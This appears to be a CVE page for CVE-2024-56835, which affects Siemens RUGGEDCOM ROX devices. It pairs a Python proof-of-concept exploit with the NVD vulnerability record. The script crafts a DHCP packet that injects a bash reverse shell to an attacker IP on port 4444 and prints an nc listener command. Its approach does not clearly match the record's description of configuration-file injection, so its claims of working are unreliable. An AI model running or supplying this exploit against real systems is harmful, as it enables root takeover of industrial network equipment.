CVE-2024-56835

#!/usr/bin/env python3 # CVE-2024-56835 PoC - DHCP Server Code Injection # Target: Siemens RUGGEDCOM ROX devices < V2.17.0 import socket import struct import sys def create_dhcp_packet(inject_payload, attacker_ip, attacker_port=4444): """Construct DHCP packet with malicious payload""" # DHCP Message Type: Boot Request (1) # Hardware Type: Ethernet (1) # Hardware Address Length: 6 # Hops: 0 xid = 0x12345678 # Transaction ID # Build DHCP packet packet = struct.pack('!4B', 1, # op: BOOTREQUEST 1, # htype: ETHERNET 6, # hlen: MAC address length 0, # hops ) packet += struct.pack('!I', xid) # Transaction ID packet += struct.pack('!HH', 0, 0) # Seconds, Flags packet += b'\x00' * 4 # ciaddr packet += b'\x00' * 4 # yiaddr packet += b'\x00' * 4 # siaddr packet += b'\x00' * 4 # giaddr packet += b'\x00' * 16 # Client hardware address packet += b'\x00' * 64 # Server host name # Boot file name with injected payload boot_file = inject_payload.encode() packet += boot_file + b'\x00' * (128 - len(boot_file)) # Magic cookie packet += b'\x63\x82\x53\x63' # DHCP options packet += bytes([53, 1, 3]) # DHCP Message Type: DHCP Request packet += bytes([55, 3, 1, 3, 6]) # Parameter Request List # Malicious option with code injection # Option 114 - DHCP Default URL (custom exploitation) inject_option = f";{inject_payload}".encode() packet += bytes([114, len(inject_option)]) + inject_option # End option packet += bytes([255]) return packet def main(): if len(sys.argv) < 3: print("Usage: python cve-2024-56835.py <target_ip> <attacker_ip>") print("Example: python cve-2024-56835.py 192.168.1.100 192.168.1.50") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] # Reverse shell payload payload = f"bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1" print(f"[*] Crafting DHCP packet with reverse shell payload...") print(f"[*] Target: {target_ip}") print(f"[*] Attacker: {attacker_ip}:4444") dhcp_packet = create_dhcp_packet(payload, attacker_ip) # Broadcast to DHCP server sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) sock.settimeout(5) try: print(f"[*] Sending malicious DHCP request...") sock.sendto(dhcp_packet, (target_ip, 67)) print(f"[+] Packet sent successfully!") print(f"[!] Start listener on port 4444: nc -lvp 4444") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2024-56835", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:28.580", "lastModified": "2026-01-13T10:15:56.650", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.17.0), RUGGEDCOM ROX MX5000RE (All versions < V2.17.0), RUGGEDCOM ROX RX1400 (All versions < V2.17.0), RUGGEDCOM ROX RX1500 (All versions < V2.17.0), RUGGEDCOM ROX RX1501 (All versions < V2.17.0), RUGGEDCOM ROX RX1510 (All versions < V2.17.0), RUGGEDCOM ROX RX1511 (All versions < V2.17.0), RUGGEDCOM ROX RX1512 (All versions < V2.17.0), RUGGEDCOM ROX RX1524 (All versions < V2.17.0), RUGGEDCOM ROX RX1536 (All versions < V2.17.0), RUGGEDCOM ROX RX5000 (All versions < V2.17.0). The DHCP Server configuration file of the affected products is subject to code injection. An attacker could leverage this vulnerability to spawn a reverse shell and gain root access on the affected system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:siemens:ruggedcom_rox_ii_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17.0", "matchCriteriaId": "FA424C03-CB17-4397-A09E-E02A78F8176C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:siemens:ruggedcom_rox_ii:-:*:*:*:*:*:*:*", "matchCriteriaId": "1EA04F52-40D0-4A4B-9767-265A26EFD98D"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-912274.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}